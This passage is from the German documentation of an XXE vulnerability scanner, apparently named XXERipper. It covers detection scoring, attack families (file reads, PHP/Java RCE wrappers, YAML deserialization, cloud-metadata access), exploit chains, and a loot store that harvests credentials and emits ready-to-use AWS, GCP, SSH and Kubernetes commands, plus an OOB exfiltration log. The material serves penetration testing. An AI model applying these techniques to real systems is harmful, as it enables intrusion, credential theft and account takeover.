| `perl` | `XML::LibXML`, `XML::Parser`, `XML::Twig`, `Couldn't parse` |
| `go` | `encoding/xml`, `XML syntax error on line`, `xml: cannot unmarshal` |
Die Familie mit den meisten Treffern gewinnt. Die `libxml2`-Familie ist bewusst die größte — lxmls Exception-Klassen, die zugrundeliegenden C-Funktionsnamen und libxml2s menschenlesbare Diagnostiken zählen alle, sodass ein Ziel, das lxml verwendet, zuverlässig von einem unterschieden wird, das Pythons stdlib `etree` nutzt (welches expat ist und stattdessen zur `python_etree`-Familie passt).
### On-Disk-Cache
Fingerprint-Ergebnisse werden unter `~/.cache/xxeripper/fingerprints.json` zwischengespeichert, verschlüsselt nach Ziel-URL. Ein Cache-Eintrag speichert den gewinnenden Parser-Namen, das vollständige Capabilities-Dict und einen Zeitstempel. Wiederholte Scans derselben URL überspringen die Probe-Phase vollständig.
Der Cache ist zwischen Läufen stabil, es sei denn, der XML-Stack des Ziels ändert sich. In CI sollte `HOME` auf ein persistiertes Cache-Verzeichnis zeigen, um die Probe-Anfragen bei jedem Lauf einzusparen. Löschen Sie die Datei oder übergeben Sie `--no-fingerprint-cache`, um zu invalidieren.
### Capability-Gating
Zwei Phasen konsumieren das Fingerprint-Ergebnis:
- **In-Band-Dateilesen** — übersprungen, wenn der Fingerprint erfolgreich war und über alle von `internal_entity`, `external_file`, `external_dtd`, `parameter_entity`, `dtd_allowed` hinweg keine Entity-Resolution-Fähigkeit meldete.
- **Fehlerbasierter lokaler DTD-Sweep** — dasselbe Gate. Die Sub-Technik der fehlerhaften Entity läuft unabhängig davon, weil sie auf Stacks (Xerces, .NET) erfolgreich ist, die überhaupt kein lokales DTD benötigen.
Das Gate greift nur, wenn der Fingerprint *erfolgreich* war (d. h. mindestens eine Fähigkeit ist `True` und es gibt eine gewinnende Parser-Familie). Ein Fingerprint, der alle `False` zurückgab — was passiert, wenn das Ziel überhaupt kein XML parst — wird als „unbekannt" behandelt und die Phasen laufen bedingungslos. Dies vermeidet den Fehlermodus, bei dem ein fehlkonfigurierter Fingerprint echte Findings unterdrückt.
Übergeben Sie `--no-fingerprint`, um die Phase und das Gate vollständig zu deaktivieren.
---
## Detection-Methodik
Die Detection-Pipeline ist bewusst geschichtet. Jede Schicht ist ein Veto oder eine Gewichtung, und jede hat einen spezifischen Fehlermodus, den sie verhindern soll.
### Schicht 1 — Statistische Baseline
Sieben gutartige `POST`-Anfragen werden vor jeder Angriffs-Payload gesendet. Aus diesen Samples:
- **Median-Body-Länge** — verwendet für Length-Delta-Scoring.
- **Median-verstrichene Zeit** und **IQR** — verwendet für Timing-Anomalie-Scoring.
- **Mode-Statuscode** — verwendet für Status-Shift-Scoring.
- **Häufigster Body-Hash** — verwendet für das No-Change-Veto.
- **Median-Shannon-Entropie** über den gesamten Body — verwendet als untere Schranke zur Plausibilitätsprüfung.
- **Median-Windowed-Entropie** über 256-Byte-Fenster — verwendet für den Entropie-Anomalie-Score.
- **Vereinigung aller Sample-Bodies** — verwendet für die baseline-verankerte Parser-Fehlerprüfung.
Baseline-Statistiken sind der Anker. Jede nachfolgende Scoring-Entscheidung vergleicht eine Kandidatenantwort gegen diese Baseline, nicht gegen einen festen Schwellenwert.
### Schicht 2 — Vetos
Vetos weisen offensichtliches Rauschen vor dem Scoring zurück. Zwei sind hart, eines ist weich.
**Reflection-Veto (hart, −100).** Wenn der Response-Body einen 40-Zeichen-Teilstring der Payload enthält (nach URL-Dekodierung und Whitespace-Normalisierung), wurde die Payload wörtlich ohne Entity-Resolution zurückgespiegelt. Dies ist die häufigste Quelle von False Positives in naiven Scannern — jeder „den XML-Parser testen"-Endpunkt, der seine Eingabe zurückspiegelt, würde sonst als verwundbar erscheinen.
**Weiche Reflection-Strafe (−30).** Wenn Reflection erkannt wird, aber die Antwort *auch* ein starkes Signal trägt (ein Datei-Fingerprint, ein korrelierter OOB-Callback, Chain-Integrität oder ein Parser-Fehler mit hoher Konfidenz), wird das harte Veto auf eine −30-Strafe herabgestuft. Dies behandelt den Fall, in dem ein echtes Dateilesen in eine Seite eingebettet ist, die zufällig auch einen Teil der Anfrage zurückspiegelt.
**No-Change-Veto (hart, −50).** Wenn der Response-Body byte-identisch mit dem häufigsten Body-Hash der Baseline ist, hat die Payload nichts geändert. `strong_signal` stuft dies auf einen normalen Score ohne das Veto herab.
**Normalisierter Baseline-Abgleich (hart, −75).** Selbst wenn der Hash abweicht, kann die Antwort nach dem Entfernen von Whitespace, Hex-Blobs, langen Zahlen, CSRF-Tokens und Session-IDs strukturell identisch sein. Wenn ja, ist es Baseline-Rauschen. Dasselbe `strong_signal`-Gate.
**Entropie-Anomalie (nur aufwärts).** Greift nur, wenn `median_length >= 256`. Die Entropie der gesamten Antwort wird von umgebendem Seiten-Beiwerk dominiert und verpasst kleine eingebettete Bereiche hoher Entropie — ein Dateilesen-Ergebnis in einer großen Fehlerseite. Der Windowed-Scan (256-Byte-Fenster, 128-Byte-Schritt, erste 16 KiB) fängt diese ab. Skaliert von +5 bei 0,5 Bits/Byte über Baseline bis +20 bei 4,0 Bits/Byte über Baseline.
### Schicht 3 — Positive Signale
Jeder überlebende Kandidat wird gegen die Baseline bewertet:
| Signal | Gewichtung | Baseline-Anker |
|---|---|---|
| Dateiinhalt-Fingerprint | +40, +5 pro zusätzlichem Indikator | Indikator darf nicht in Baseline-Bodies erscheinen |
| Chain-Integrität (Entity end-to-end aufgelöst, nicht nur deklariert) | +25 | Strukturell — Antwort parst als Inhalt, nicht als Markup |
| Parser-Fehler (hoch / mittel / niedrig) | +20 / +15 / +5 | Fehler-String darf nicht in Baseline-Bodies erscheinen |
| Timing-Anomalie bestätigt | +20 | Delta ≥1,5s, Verhältnis ≥2,5× Median, und entweder Delta ≥4× IQR oder Delta ≥2× beobachtetes Jitter |
| Windowed-Entropie-Anomalie | +5 bis +20 | Nur aufwärts, skaliert nach Bits/Byte-Delta |
| Korrelierter OOB-Callback | +50 | Token in Callback-Subdomain stimmt mit ausstehendem Token überein |
| Unkorrelierter OOB-Callback | +15 | Callback kam an, aber Token stimmte nicht überein |
| Length-Delta (≥20 %) | +10 | Gegen Median-Länge |
| Status-Shift | +5 | Gegen Mode-Status |
Datei-Fingerprints erfordern **mindestens zwei** übereinstimmende Indikator-Strings, und die Antwort darf nicht wie Markup aussehen. Dies verhindert, dass eine Seite, die `root:x:0:0:` in einem Dokumentations-Snippet erwähnt, den `/etc/passwd`-Detektor auslöst.
### Schicht 4 — Klassifizierung
| Score | Pflichtsignal | Unabhängige Familien | Ergebnis |
|---|---|---|---|
| ≥70 | Ja | ≥2 | **Bestätigt** — CRITICAL |
| 45–69 | Ja | beliebig | **Potenziell** — HIGH |
| 25–44 | Ja | beliebig | **Potenziell** — MEDIUM |
| <25 | Ja | beliebig | **Theoretisch** — LOW *(unterdrückt)* |
| beliebig | Nein | beliebig | **Theoretisch** — INFO *(unterdrückt)* |
**Pflichtsignale** sind auf drei begrenzt: `file_type` (ein Dateiinhalt-Fingerprint stimmte überein), `oob_correlated` (ein krypto-korrelierter OOB-Callback kam an) und `chain_integrity` (die Entity wurde end-to-end aufgelöst). Parser-Fehler und Timing-Anomalien tragen zum Score bei, können aber ein Finding nicht allein bestätigen — ein Parser-Fehler besagt, dass die Payload den Parser erreichte, nicht dass die Entity aufgelöst wurde; ein Timing-Delta besagt, dass das Ziel länger brauchte, nicht dass ein Netzwerk-Fetch stattfand.
**Unabhängige Familien** zählt verschiedene Evidenz-*Typen*: `file_type`, `oob_correlated`, `chain_integrity`, `parser_error`, `response_elapsed`. Die Zwei-Familien-Anforderung bedeutet, dass selbst bei Score ≥70 ein einzelner starker Fingerprint nicht allein zu CRITICAL aufsteigen kann. Er benötigt ein zweites unabhängiges Signal — einen für die XXE-Antwort spezifischen Parser-Fehler, oder eine Timing-Anomalie, oder Chain-Integrität.
### Schicht 5 — Vertrauensaufbau über den Scan hinweg
Jede Phase sieht ein sichereres Bild des Ziels als die vorherige. Der Fingerprint läuft zuerst und gated die Dateilesen-Phasen. Die Dateilesen-Phasen produzieren Loot, der Chain-Stufen speist. Chain-Stufen vervollständigen Templates, die Rollups produzieren. Die Rollups werden als eigenständige Findings behandelt und erscheinen in jedem Ausgabeformat.
Das Ergebnis ist ein Scanner, der „sauber" als einen zu verifizierenden Zustand behandelt statt als einen angenommenen, und der die Abdeckung in jeder Phase meldet, damit der Operator den Unterschied zwischen „das Ziel ist nicht verwundbar" und „das Ziel wurde nie getestet" erkennen kann.
### False-Positive-Köder im Lab
Die mitgelieferten Labs werden mit siebzehn sicheren Endpunkten ausgeliefert, die speziell darauf ausgelegt sind, einen Scanner auszulösen, der übermäßig viele Findings meldet. Die fünf Baseline-Köder:
- `/xml/safe` — parst mit deaktivierten Entities. Korrekte Scanner melden `[OK]`.
- `/xml/noise` — gibt pro Anfrage einen zufälligen Body zurück. Baseline-Normalisierung fängt dies ab.
- `/xml/stripped` — parst XML, entfernt aber zuerst ENTITY-Deklarationen. Ein Scanner, der „der Parser lief" als Finding behandelt, wird hier scheitern.
- `/xml/silent` — parst, entfernt aber das DOCTYPE vor dem Parsen. Keine Entity bleibt übrig. False-Negative-Köder.
- `/xml/safe-metadata` — gibt AWS-förmige Strings innerhalb von HTML zurück. Der Datei-Fingerprint erfordert zwei Indikatoren plus Nicht-Markup, um auszulösen — die Antwort hier ist Markup.
Dazu zwölf scope-gematchte sichere Gegenstücke (`/xml/safe-form`, `/xml/safe-query`, `/xml/safe-svg`, `/xml/safe-saml`, `/xml/safe-soap`, `/xml/safe-multipart`, `/xml/safe-docx`, `/xml/safe-xinclude`, `/xml/safe-xinclude-xml`, `/xml/safe-xslt`, `/xml/safe-xsd`, `/xml/safe-pi`), die dieselbe Scope-Prüfung wie ihr verwundbares Gegenstück ausführen, aber mit deaktivierten Entities parsen. Jedes Finding auf einem dieser siebzehn Endpunkte ist ein Scanner-Bug.
---
## Accuracy Engine
Gewichtetes Scoring mit **Pflichtsignal-Gates**. Jede Kandidatenantwort wird gegen die statistische Baseline bewertet. Dieser Abschnitt beschreibt die Gewichtungen und Schwellenwerte; der Abschnitt [Detection-Methodik](#detection-methodology) erklärt die Begründung.
| Signal | Gewichtung |
|---|---|
| Korrelierter OOB-Callback | +50 |
| Dateiinhalt-Fingerprint | +40 (+5 pro zusätzlichem Indikator) |
| Chain-Integrität (Entity aufgelöst, nicht nur deklariert) | +25 |
| Parser-Fehler-Delta (hoch / mittel / niedrig) | +20 / +15 / +5 |
| Timing-Anomalie bestätigt | +20 |
| Windowed-Entropie-Anomalie | +5 bis +20, skaliert nach Bits/Byte-Delta |
| Unkorrelierter OOB-Callback | +15 |
| Length-Delta (≥20 % Abweichung) | +10 |
| Statuscode-Shift | +5 |
| Reflection-Strafe (starkes Signal vorhanden) | −30 |
| Reflection-Veto (kein starkes Signal) | −100 |
| No-Change-Veto | −50 |
| Normalisierter Baseline-Abgleich | −75 |
**Windowed-Entropie** verwendet 256-Byte-Sliding-Windows (128-Byte-Schritt, erste 16 KiB). Greift nur, wenn `median_length >= 256`, nur bei Aufwärtsverschiebungen und nur, wenn das Delta 0,5 Bits/Byte überschreitet. Skaliert von +5 am Schwellenwert bis +20 bei 4,0 Bits/Byte.
| Score | Pflichtsignal | Unabhängige Familien | Ergebnis |
|---|---|---|---|
| ≥70 | Ja | ≥2 | **Bestätigt** — CRITICAL |
| 45–69 | Ja | beliebig | **Potenziell** — HIGH |
| 25–44 | Ja | beliebig | **Potenziell** — MEDIUM |
| <25 | Ja | beliebig | **Theoretisch** — LOW *(unterdrückt)* |
| beliebig | Nein | beliebig | **Theoretisch** — INFO *(unterdrückt)* |
**Timing-Findings sind immer `potential`, nicht `confirmed`** — ein Timing-Delta besagt, dass das Ziel länger brauchte, nicht dass eine Entity aufgelöst wurde.
### CWE-Mapping
Longest-Prefix-First-Lookup. XXE-Findings tragen CWE-611; Information-Disclosure-Findings fügen CWE-200 hinzu; SSRF-via-Entity, die XSLT/XSD-Fetcher und jedes `XXE-CLOUD-METADATA-*`-Finding fügen CWE-918 hinzu; PHP `expect://` und die `XXE-RCE-*`-Wrapper fügen CWE-78 hinzu; Billion Laughs ist CWE-776; fehlerbasierte lokale DTD-Wiederverwendung fügt CWE-829 hinzu; `XXE-SAML-PRESIG` fügt CWE-347 hinzu; `XXE-WAF-BYPASS-*` fügt CWE-693 hinzu; die YAML-Deserialisierungsphase fügt CWE-502 hinzu.
---
## Angriffstechniken
Über dreißig Familien in zehn Klassen.| Klasse | Techniken | Schweregrad | CWE |
|---|---|---|---|
| In-band | Klassischer Datei-Lesezugriff, PHP-Filterkette, SSRF über Entität | CRITICAL | 611, 200, 918 |
| In-band RCE | PHP `expect://` | CRITICAL | 611, 78 |
| Fehlerbasiert | Lokale DTD-Wiederverwendung, Fehlerhafte Entität | CRITICAL | 611, 200, 829 |
| Blind | DNS OOB, Externe DTD OOB, Parameter-Entität OOB, CDATA-Bypass, Timing-basiert | CRITICAL / HIGH | 611 |
| Encoding-Bypass | UTF-16, UTF-7, UCS-4, alternatives DOCTYPE | HIGH | 611 |
| Alternative Sinks | XInclude (`parse='text'`, `parse='xml'`), SVG-Upload, SAML-Envelope, SOAP-Envelope | CRITICAL | 611, 918 |
| Erweiterte Fetcher | XSLT `document()`, XSLT `xsl:include`, XSD `schemaLocation`, XSD `xsd:import`, `xml-stylesheet` PI, Multipart-XML-Feld, DOCX-Upload | HIGH / CRITICAL | 611, 918 |
| Cloud-Metadaten | AWS IMDSv1, AWS IMDSv2 (erkannt), AWS IAM-Anmeldedaten, AWS user-data, GCP Token/Projekt, Azure IMDS/managed-identity, Alibaba RAM, OCI, Kubernetes Secrets | CRITICAL / HIGH | 611, 918, 200 |
| RCE-Wrapper | Java `jar:`, PHP `data://`, PHP `phar://`, PHP `glob://`, PHP `compress.zlib://` | CRITICAL | 611, 78, 200 |
| SAML Pre-Signature | Assertion-Body wird vor der Signaturprüfung geparst | HIGH | 611, 347 |
| JSON-zu-XML | Content-Type-Umschaltung auf JSON-only-Endpunkten | HIGH | 611, 200 |
| Office-Dokument | DOCX/XLSX `xml-stylesheet` PI, abgerufen durch serverseitige XSLT-Prozessoren | CRITICAL | 611, 918 |
| YAML-Deserialisierung | PyYAML `!!python/object/apply`, SnakeYAML `!!javax.script.ScriptEngineManager` | CRITICAL | 502, 611 |
| DoS | Billion Laughs | HIGH | 776 |
**Delivery-Vector-Phasen** prüfen über die Standardform `POST` + `application/xml` hinaus:
- **Content-Type-Matrix** — die klassische Payload unter neun XML-nahen Content-Types. Viele Server leiten nur dann an ihren XML-Parser weiter, wenn der Content-Type übereinstimmt.
- **HTTP-Methodenvariation** — `PUT` und `PATCH`. REST-APIs akzeptieren häufig XML bei diesen Methoden, selbst wenn `POST` nur JSON zulässt.
- **Query-Parameter-Injection** — `?xml=`, `?data=`, `?payload=`, `?input=`. Legacy-APIs und Gateways akzeptieren XML oft auf diesem Weg, selbst wenn der Body nicht als XML geparst wird.
- **JSON-zu-XML-Umschaltung** — eine harmlose XML-Sonde ermittelt, ob der Endpunkt `application/xml` neben dem angegebenen JSON akzeptiert. Wenn nicht mit `415` hart abgelehnt, folgt der Scanner mit einer klassischen Datei-Lese-Payload. Dies erkennt Spring MVC mit `jackson-dataformat-xml` im Classpath (das stillschweigend XML auf jedem `@RequestBody`-Endpunkt akzeptiert, ohne Annotation).
**Cloud-Metadaten** sind eine dedizierte Phase, nicht nur ein Eintrag in einer URL-Liste. Elf Endpunkte über sechs Anbieter werden geprüft. Jeder wird gegen anbieterspezifische Schlüssel gefingerprintet (`AccessKeyId`, `SecretAccessKey`, `SecurityToken` für AWS IAM; `access_token`, `expires_in`, `token_type` für GCP OAuth; `vmId`, `subscriptionId` für Azure; usw.). Eine Antwort mit Anmeldedaten-Markern wird zu CRITICAL hochgestuft und nicht weiter geprüft. **IMDSv2-Erkennung**: Eine AWS-Antwort mit Status `401` und `token` im Body wird als `XXE-CLOUD-METADATA-IMDSV2` (HIGH) gemeldet — das SSRF-Primitiv existiert, aber der Metadatendienst erzwingt ein Session-Token. Extrahierte Anmeldedaten laufen durch `LootStore.add_secret` und landen im Loot-Tab der WebUI mit einfügefertigen Snippets.
**XXE-zu-RCE-Wrapper** werden auf ihre charakteristischen Erfolgssignale geprüft:
| Wrapper | Signal |
|---|---|
| Java `jar:file://…!/META-INF/MANIFEST.MF` | `Manifest-Version`, `Main-Class` |
| PHP `data://text/plain;base64,…` | `phpinfo`, `<?php` |
| PHP `phar://…/stub` | `unserialize`, `__PHP_Incomplete_Class` |
| PHP `glob:///etc/*` | Pfadauflistungen (`/etc/`, `/root/`, `/usr/`) |
| PHP `compress.zlib://…` | `root:x:`, `daemon:x:` |
**SAML Pre-Signature** — SAML-Service-Provider müssen den Assertion-Body parsen, bevor sie die Signatur verifizieren, die Sequenz, die CVE-2026-28809 (esaml) offengelegt hat. Die Phase sendet zuerst eine wohlgeformte SAML-Assertion mit einer absichtlich ungültigen Signatur; ein Parser-Fehler oder ein `200` signalisiert, dass der Endpunkt das XML-Parsing erreicht hat. Erst dann wird die XXE-Payload gesendet. Läuft automatisch bei SAML-förmigen URLs (`saml`, `sso`, `adfs`, `okta`, `assertion`, `federation`, `idp`, `sts/`, `sp/`) oder bedingungslos mit `--saml`.
**Office-Dokument-XSLT** — die `xml-stylesheet` PI wird von serverseitigen Dokumentenprozessoren in einigen Konfigurationen beachtet: Word-Vorschau-Renderer, PDF-Konverter, LibreOffice headless und Apache POI XSLF. Die Phase erstellt ein minimales DOCX (oder XLSX), dessen `word/document.xml`- (oder `xl/workbook.xml`-) Teil die PI trägt, die auf ein angreiferkontrolliertes XSLT verweist. Ein korrelierter Callback beweist, dass das Stylesheet abgerufen wurde. Unterscheidet sich von XXE im engeren Sinne — es ist XSLT-Aufruf, der zu Datei-Offenlegung (`document('file:///etc/passwd')`) und SSRF verkettet.
**YAML-Deserialisierung** — CWE-502, nicht CWE-611. Der Scanner liefert vier Sonden: PyYAML `!!python/object/apply:os.system` und SnakeYAML `!!javax.script.ScriptEngineManager`, jeweils sowohl als roher `application/x-yaml`-Body als auch in einem XML-Wrapper. Ein korrelierter Callback beweist RCE. Die Phase stoppt nach dem ersten Erfolg; die alternativen Varianten wären nur Rauschen.
**Datei-Ziel-Phasen** — 21-Pfad-Prioritätsset standardmäßig; `--full-file-scan` erweitert auf 58 Pfade und fügt Linux `/proc`-Walks, Anwendungsquellcode und `.env`-Dateien, SSH/AWS/GCP-Anmeldedatenpfade, Container-Marker, `/run/secrets/*`, die Kubernetes-Service-Account-Projektion sowie Windows SAM-Backups, Unattend-Dateien, IIS-Logs und Administrator-Anmeldedaten hinzu. Zur Scanzeit dedupliziert; kein Pfad wird zweimal geprüft.
**Fehlerbasierte Findings werden aufgeteilt**, weil die Techniken gegen verschiedene Parser erfolgreich sind:
- `XXE-ERROR-BASED-LOCAL-DTD` — entführt eine DTD, die bereits auf dem Ziel-Dateisystem existiert. Verwendet die External-DOCTYPE-Form, die von libxml2 ≥2.9 akzeptiert wird.
- `XXE-ERROR-BASED-MALFORMED` — deklariert eine Parameter-Entität innerhalb des internen Subsets und lässt den Parser-Fehler die Datei leaken. Funktioniert auf Xerces und .NET; libxml2 lehnt interne-Subset-PEs auf C-Ebene ab.
**Timing-Sonden** richten die Entität auf eine RFC 5737 TEST-NET-1-Adresse (`http://192.0.2.1/`), die garantiert nicht routbar ist. Die Entitätsauflösung blockiert beim TCP-Connect-Timeout des Resolvers.
**Opt-in-Phasen:** `--timing` (hält drei ~5s-Verbindungen pro Ziel), `--unsafe` (Billion Laughs), `--svg` (upload-förmige Phasen), `--saml` (SAML Pre-Signature), `--full-file-scan` (erweiterte Dateiliste), `--bypass-waf` (siehe unten).
---
## Exploit-Ketten und Loot-Extraktion
Zwei Subsysteme verwandeln einzelne Findings in eine Erzählung.
### Chain-Tracker
Jedes Finding, das `add_finding` passiert, legt Chain-Stages über einen einzigen Hook an: `_record_chain_stages` liest die ID und das Evidence-Dict des Findings und zeichnet auf, welche Stages die Kombination impliziert. Ein Finding mit einem `file_type`-Evidence-Schlüssel zeichnet `xxe_confirmed` auf. Ein Finding mit einer `loot_id` zeichnet `file_content_recovered` auf. Ein Finding, dessen Evidence `extracted_credentials` enthält, zeichnet `credential_extracted` auf; wenn die Anmeldedaten ein SSH-Private-Key sind, feuert auch `ssh_key_extracted`. Und so weiter.
Dreizehn Chain-Templates sind definiert. Jedes erfordert eine Reihe von Stages. Wenn alle erforderlichen Stages vorhanden sind, feuert die Chain **einmal** (gegen Concurrency-Races abgesichert) und gibt ein Rollup-Finding aus:
| Chain-ID | Pfad | Schweregrad |
|---|---|---|
| `xxe_inband_file_credential_theft` | XXE → In-band-Datei-Lesezugriff → Anmeldedaten-Diebstahl | CRITICAL |
| `xxe_imds_iam_aws_takeover` | XXE → IMDS → IAM-Anmeldedaten → AWS-Account-Übernahme | CRITICAL |
| `xxe_error_based_file_recovery` | XXE → fehlerbasierter Leak → Dateiinhalt wiederhergestellt | HIGH |
| `xxe_php_source_disclosure` | XXE → PHP-Filter → Quellcode-Offenlegung | CRITICAL |
| `xxe_rce_chain` | XXE → Protokoll-Wrapper → RCE-Kette bestätigt | CRITICAL |
| `xxe_blind_oob_confirmed` | XXE → Blind-OOB-Callback bestätigt | HIGH |
| `xxe_ssrf_internal_enum` | XXE → SSRF → interner Dienst erreicht | HIGH |
| `xxe_waf_bypass_confirmed` | XXE → WAF-Bypass → Entitätsauflösung bestätigt | HIGH |
| `xxe_kubernetes_cluster_takeover` | XXE → Kubernetes-Secrets-API → Cluster-Anmeldedaten-Diebstahl | CRITICAL |
| `xxe_k8s_serviceaccount_token` | XXE → In-Cluster-SA-Token-Lesezugriff | CRITICAL |
| `xxe_ssh_key_lateral_movement` | XXE → SSH-Private-Key → Lateral-Movement-Primitiv | HIGH |
| `xxe_gcp_oauth_token_extraction` | XXE → GCP-Metadaten → OAuth-Token-Extraktion | CRITICAL |
| `xxe_azure_managed_identity` | XXE → Azure IMDS → managed-identity-Token | CRITICAL |
Rollup-Findings tragen einen JSON-serialisierbaren Step-Trace, einen aggregierten Score von 100 und eine vollständige Reason-Chain. Sie erscheinen in JSON-, SARIF- und HTML-Ausgabe wie jedes andere Finding, und ihr ID-Präfix (`XXE-CHAIN-`) ist vom Chain-Seeding ausgeschlossen, damit sie nie loopen.
### Loot-Store
Jedes Datei-Lese-Finding läuft durch `LootStore`, das:
1. Den rohen Dateiinhalt aus dem Response-Body über `FileContentExtractor` extrahiert. Der Extraktor dispatcht nach `(file_path, fingerprint_type)`: `/etc/passwd` und `/etc/shadow` haben zeilenorientierte Matcher mit Mid-Line-Fallback für Parser-Fehler, die ein Pfadpräfix leaken; SSH-Keys verwenden PEM-Grenzen; `.env`, `web.ini`, `system.ini`, `boot.ini` haben INI-artige Matcher; `web.config` verwendet einen Konfigurationselement-Matcher; `/proc/self/environ` behandelt NUL-delimitierte Bodies. Ein generischer Fallback zieht `<pre>`- / `<textarea>`- / `<code>`-Blöcke aus Markup-Antworten heraus.
2. Auf 256 KB kürzt (Anmeldedaten werden vor der Kürzung aus dem vollständigen Inhalt extrahiert).
3. Nach SHA-256 des Inhalts dedupliziert.
4. `CredentialExtractor` über den vollständigen Inhalt ausführt.
`CredentialExtractor` erkennt sieben Anmeldedaten-Arten:
| Art | Quelle | Konfidenz |
|---|---|---|
| `aws_iam` (JSON) | AWS IMDS `AccessKeyId` / `SecretAccessKey` / `Token` | 95 |
| `aws_iam` (INI) | AWS-CLI-Anmeldedatendatei (`aws_access_key_id` / `aws_secret_access_key` / `aws_session_token`) | 90 |
| `alibaba_ram` | Alibaba Cloud-Metadaten (`AccessKeyId` / `AccessKeySecret` / `SecurityToken`) | 90 |
| `ssh_private_key` | PEM-Private-Key-Blöcke (RSA, OpenSSH, DSA, EC, PKCS#8) | 90 |
| `gcp_service_account` | Service-Account-JSON (`"type": "service_account"` + `private_key_id`) | 85 |
| `oauth_token` | GCP-Metadaten und Azure-managed-identity-Antwort (`access_token` + `expires_in` / `expires_on`) | 85 |
| `k8s_sa_token` | Kubernetes `SecretList` (`data.token` base64-JWT) oder eine bloße Service-Account-Token-Datei | 90 |
| `generic_bearer` | Jeder `Bearer <token>`- oder `Authorization: <token>`-Treffer mit einem Token von 24+ Zeichen | 40 |
Jede Anmeldedaten-Art erzeugt eine Liste einfügefertiger Shell-Snippets:
- **AWS IAM** — `aws sts get-caller-identity` zum Verifizieren, ob der Schlüssel noch funktioniert, `aws s3 ls`, IAM-Policy-Enumeration und ein `export`-Block für die aktuelle Shell.
- **Alibaba RAM** — `aliyun sts GetCallerIdentity`, `aliyun oss ls` und ein `export`-Block mit den korrekten `ALIBABA_CLOUD_*`-Umgebungsvariablen.
- **SSH-Private-Key** — installieren, fingerprinten und gegen `github.com` / `gitlab.com` / `bitbucket.org` versuchen.
- **GCP-Service-Account** — den Schlüssel mit `gcloud auth activate-service-account` aktivieren.
- **OAuth-Access-Token** — `curl` gegen Googles userinfo-Endpunkt (funktioniert für GCP-Token) und Azures subscriptions-Endpunkt (funktioniert für Azure-Token).
- **Kubernetes-Service-Account-Token** — `kubectl --token=…`-Snippets, die mit dem Namespace und dem Service-Account-Namen aus den JWT-Claims erstellt werden, plus ein `jq`-Befehl zum Inspizieren der Token-Claims ohne Signaturverifikation.
- **Generic Bearer** — `curl` gegen `httpbin.org/bearer`, um zu testen, ob das Token noch aktiv ist.
Extrahierte Anmeldedaten werden sowohl an die Evidence des Findings (`extracted_credentials`) als auch an den Loot-Eintrag (`credentials`) angehängt. Der **Loot**-Tab der WebUI und der **Overview**-Tab des Inspectors rendern sie inline mit Copy-Buttons pro Befehl. Der HTML-Report enthält sie im Abschnitt *Extracted loot*.
Der vollständige Anmeldedaten-Wert erscheint in der Loot-Vorschau. Die Maskierung wurde in v1.0.0 entfernt, weil derselbe Wert bereits unmaskiert im Inspector, in der JSON-Ausgabe, in der SARIF-Ausgabe und im HTML-Report sichtbar ist — an einer Stelle zu maskieren und an den anderen nicht, diente keinem Zweck.
### Loot-Routing über Techniken hinweg
Die Loot-Extraktion läuft bei jedem Finding, dessen Response-Body parsebaren Dateiinhalt enthält:
- **In-band-Datei-Lesezugriffe** — `/etc/passwd`, `/etc/shadow`, SSH-Keys, `.env` usw. Direkt aus der Antwort extrahiert.
- **Fehlerbasierte Leaks** — der Dateiinhalt ist in den Parser-Fehlertext eingebettet. Der Mid-Line-`/etc/passwd`-Matcher fängt ihn ab.
- **PHP-Filter-Ausgabe** — vor der Extraktion base64-dekodiert, dann durch den Credential-Extractor geleitet.
- **XInclude-Auflösungen** — der inlinete Inhalt wird vom selben Extraktor geparst.
- **Cloud-Metadaten-Antworten** — Anmeldedaten werden extrahiert und durch `LootStore.add_secret` geleitet, und die resultierenden Loot-IDs werden als `loot_ids` an die Evidence des Findings angehängt.
- **Blind-OOB-Exfiltration** — wenn `--oob-listen` oder `--oob-dtd-dir` aktiv ist (oder der WebUI-gehostete DTD-Server), trägt der Callback Dateiinhalt, `OOBExfilExtractor` zieht ihn heraus, und das Ergebnis läuft durch dieselben Dateiinhalt- und Credential-Extractors wie ein In-band-Lesezugriff.
Der Blind-Exfiltrations-Pfad ist derjenige, der verändert, was das Tool ist. Davor sagte `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` „das Ziel hat unsere DTD abgerufen." Danach trägt dasselbe Finding `loot_id`, `extracted_content_preview` und `extracted_credentials` in seiner Evidence, der Chain-Tracker sieht den Loot und kann `xxe_blind_oob_confirmed` → `file_content_recovered` → `credential_extracted` feuern, und der Loot-Tab der WebUI rendert die wiederhergestellte Datei mit denselben einfügefertigen Snippets wie bei einem In-band-Lesezugriff.
---
## Out-of-Band-Bestätigung
XXERipper verwendet **`interactsh-client`** als OOB-Backend. Es gibt zwei Modi.
### Manueller Modus (Standard)
Der Scanner baut Payloads unter Ihrer Session-Domain; der Client übernimmt Registrierung, Polling und Entschlüsselung. Der Scanner spricht nie das Interactsh-Protokoll.```bash
# Terminal A
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# Terminal B
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
Wenn der Scan abgeschlossen ist, enthält die Zusammenfassung jedes Ziels einen [OOB]-Block, der jede gesendete Payload auflistet, gruppiert mit ihrer Technikbezeichnung:```
[1/1] [MANUAL-OOB] https://target.com/api/xml
Parser: libxml2
[!] 3 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[OOB] 7 payload(s) dispatched — watch your interactsh-client terminal
- [xxe-dns] xxe-dns-a1b2c3d4e5f6a7b8.c5f2a9b4e1d8a3f72c0b.oast.pro
DNS-only parameter entity (blind parser fingerprint)
- [xxe-dtd] xxe-dtd-9f8e7d6c5b4a3210.c5f2a9b4e1d8a3f72c0b.oast.pro
External DTD fetch (blind file exfiltration via DTD)
...
Wenn `interactsh-client` eine Interaktion ausgibt, gleiche das Subdomain-Präfix mit der entsprechenden `[OOB]`-Zeile ab. Dieser Abgleich ist deine Bestätigung.
**Der manuelle Modus extrahiert keine Exfiltration.** Im manuellen Modus versendet der Scanner OOB-Payloads und kehrt sofort zurück — er liest niemals die Ausgabe von interactsh. Der exfiltrierte Inhalt ist in deinem interactsh-Terminal sichtbar, nicht im Loot-Speicher des Scanners. Sowohl das CLI-Banner als auch der WebUI-Job-Runner geben eine Warnung aus, wenn Exfiltration konfiguriert ist, aber der Auto-Modus deaktiviert ist.
### Auto-Modus (`--oob-auto`)
